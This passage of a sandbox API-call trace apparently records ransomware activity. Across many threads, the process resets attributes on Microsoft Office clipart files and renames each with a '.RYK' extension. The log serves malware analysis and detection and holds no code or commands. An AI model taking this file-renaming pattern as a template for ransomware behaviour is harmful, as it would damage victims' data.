	[0237.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2706
	os_tid = 0x2fcc

	[0236.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF", dwFileAttributes=0x80) returned 0
	[0237.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2707
	os_tid = 0x2fd0

	[0236.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF", dwFileAttributes=0x80) returned 0
	[0237.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2708
	os_tid = 0x2fd4

	[0236.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF", dwFileAttributes=0x80) returned 0
	[0237.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2709
	os_tid = 0x2fd8

	[0236.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF", dwFileAttributes=0x80) returned 0
	[0237.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2710
	os_tid = 0x2fdc

	[0236.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF", dwFileAttributes=0x80) returned 0
	[0237.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2711
	os_tid = 0x2fe0

	[0236.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF", dwFileAttributes=0x80) returned 0
	[0237.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2712
	os_tid = 0x2fe4

	[0236.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF", dwFileAttributes=0x80) returned 0
	[0237.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2717
	os_tid = 0x2ff8

	[0236.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF", dwFileAttributes=0x80) returned 0
	[0237.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.876] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2718
	os_tid = 0x2ffc

	[0236.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF", dwFileAttributes=0x80) returned 0
	[0237.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.874] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2719
	os_tid = 0xd90

	[0236.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF", dwFileAttributes=0x80) returned 0
	[0237.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2720
	os_tid = 0xd94

	[0236.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF", dwFileAttributes=0x80) returned 0
	[0237.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2721
	os_tid = 0x28cc

	[0236.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF", dwFileAttributes=0x80) returned 0
	[0237.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2722
	os_tid = 0x27f4

	[0236.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF", dwFileAttributes=0x80) returned 0
	[0237.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2723
	os_tid = 0x2538

	[0236.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF", dwFileAttributes=0x80) returned 0
	[0237.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.864] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2724
	os_tid = 0x25a4

	[0236.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF", dwFileAttributes=0x80) returned 0
	[0237.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.863] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2725
	os_tid = 0x25a0

	[0236.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF", dwFileAttributes=0x80) returned 0
	[0237.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.861] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2726
	os_tid = 0x259c

	[0236.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF", dwFileAttributes=0x80) returned 0
	[0236.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.791] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2727
	os_tid = 0x275c

	[0237.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF", dwFileAttributes=0x80) returned 0
	[0237.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2737
	os_tid = 0xbec

	[0237.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF", dwFileAttributes=0x80) returned 0
	[0237.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2738
	os_tid = 0x253c

	[0237.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF", dwFileAttributes=0x80) returned 0
	[0237.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2739
	os_tid = 0x5ac

	[0237.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF", dwFileAttributes=0x80) returned 0
	[0237.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.852] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2740
	os_tid = 0x3c4

	[0237.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF", dwFileAttributes=0x80) returned 0
	[0238.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2741
	os_tid = 0x2ea0

	[0237.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF", dwFileAttributes=0x80) returned 0
	[0238.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2742
	os_tid = 0x3004

	[0237.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF", dwFileAttributes=0x80) returned 0
	[0238.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2743
	os_tid = 0x3008

	[0237.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF", dwFileAttributes=0x80) returned 0
	[0238.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2744
	os_tid = 0x300c

	[0237.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF", dwFileAttributes=0x80) returned 0
	[0238.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.508] CloseHandle (hObject=0xffffffffffffffff) returned 0
